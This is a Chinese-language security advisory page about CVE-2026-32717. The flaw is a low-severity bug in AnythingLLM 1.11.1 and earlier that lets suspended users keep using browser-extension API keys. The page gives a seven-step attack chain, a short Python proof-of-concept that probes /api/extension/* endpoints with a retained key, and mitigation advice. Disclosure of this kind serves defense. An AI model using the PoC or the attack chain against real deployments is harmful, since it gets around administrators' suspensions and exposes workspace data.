IPBUF安全漏洞报告
English
CVE-2026-32717 CVSS 2.7 低危

CVE-2026-32717: AnythingLLM多用户模式API密钥访问控制绕过漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32717
漏洞类型
访问控制绕过
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
AnythingLLM

相关标签

访问控制绕过认证绕过API密钥漏洞AnythingLLM多用户模式浏览器扩展

漏洞概述

AnythingLLM是一款将内容转换为上下文的应用,使任何LLM都能在聊天时将其作为参考使用。在1.11.1及更早版本的多用户模式下,该应用在常规JWT会话路径上会阻止被暂停的用户,但未在浏览器扩展API密钥路径上进行相同的阻止操作。如果用户已经拥有有效的brx-...浏览器扩展API密钥,该密钥在用户被暂停后仍然有效。这导致被暂停的用户仍能访问浏览器扩展端点、读取可访问的工作区元数据,并继续执行上传或嵌入操作,尽管正常的认证请求已被拒绝。该漏洞属于访问控制绕过类安全缺陷,CVSS评分为2.7,属于低危级别。攻击者需要具备高权限(已注册用户)并持有有效的浏览器扩展API密钥才能利用此漏洞。

技术细节

漏洞根源在于AnythingLLM的认证机制存在不一致性。在多用户模式下,系统对普通JWT会话和浏览器扩展API密钥会话采用了不同的用户状态检查逻辑。当管理员暂停某个用户账户时,系统仅在JWT认证路径上检查用户状态并拒绝访问,但在浏览器扩展API密钥认证路径上缺少相应的用户状态验证。具体来说,brx-...格式的API密钥在用户被暂停后仍保持有效状态,允许持有该密钥的已暂停用户绕过访问控制。攻击者可以利用此漏洞访问/api/extension/*路径下的所有端点,包括工作区元数据读取接口以及文件上传和嵌入操作接口。攻击者需要预先获取浏览器扩展API密钥(brx-...格式),这通常发生在用户正常使用浏览器扩展期间。攻击者只需保留该API密钥,即使被管理员暂停,仍可利用该密钥进行未授权操作。

攻击链分析

STEP 1
1
用户正常使用AnythingLLM浏览器扩展,系统为其分配brx-...格式的API密钥
STEP 2
2
管理员发现用户违规行为,决定暂停该用户账户
STEP 3
3
系统阻止了用户的常规JWT会话路径访问,被暂停用户无法通过正常方式登录
STEP 4
4
攻击者使用预先保存的浏览器扩展API密钥(brx-...)向/api/extension/*端点发起请求
STEP 5
5
系统未对API密钥路径进行用户暂停状态检查,验证通过,请求被允许
STEP 6
6
攻击者成功访问工作区元数据接口,读取敏感信息
STEP 7
7
攻击者继续执行文件上传或嵌入操作,造成数据泄露或恶意内容注入

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-32717 PoC - AnythingLLM Browser Extension API Key Access Control Bypass This PoC demonstrates that suspended users can still access AnythingLLM browser extension endpoints using their API key even after suspension. Usage: python3 cve-2026-32717-poc.py <api_key> <target_url> Example: python3 cve-2026-32717-poc.py 'brx-xxxx-xxxx-xxxx' 'https://anythingllm.example.com' """ import sys import json import requests def test_api_key_authentication(api_key, base_url): """Test if suspended user's API key still works""" headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json' } endpoints = [ '/api/extension/workspaces', '/api/extension/documents', '/api/extension/embeddings/status' ] print(f"[*] Testing API key authentication against: {base_url}") print(f"[*] API Key: {api_key[:20]}...") print("-" * 50) results = {} for endpoint in endpoints: url = f"{base_url}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) results[endpoint] = { 'status_code': response.status_code, 'accessible': response.status_code == 200, 'response': response.text[:200] if response.text else 'Empty response' } status = "VULNERABLE" if response.status_code == 200 else "BLOCKED" print(f"[+] {endpoint}: {status} (HTTP {response.status_code})") except requests.exceptions.RequestException as e: results[endpoint] = {'error': str(e)} print(f"[-] {endpoint}: ERROR - {e}") return results def main(): if len(sys.argv) != 3: print("Usage: python3 cve-2026-32717-poc.py <api_key> <target_url>") sys.exit(1) api_key = sys.argv[1] target_url = sys.argv[2].rstrip('/') print("\n" + "=" * 60) print("CVE-2026-32717 - AnythingLLM Access Control Bypass PoC") print("=" * 60 + "\n") results = test_api_key_authentication(api_key, target_url) print("\n" + "-" * 50) if any(r.get('accessible') for r in results.values()): print("[!] VULNERABLE: API key works for suspended user!") print("[!] This confirms CVE-2026-32717") else: print("[+] SECURE: API key properly blocked for suspended user") if __name__ == '__main__': main()

影响范围

AnythingLLM <= 1.11.1

防御指南

临时缓解措施
如果无法立即升级,可通过禁用浏览器扩展功能或撤销所有已知用户的浏览器扩展API密钥来临时缓解风险。同时加强对API密钥分发和使用的监控,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表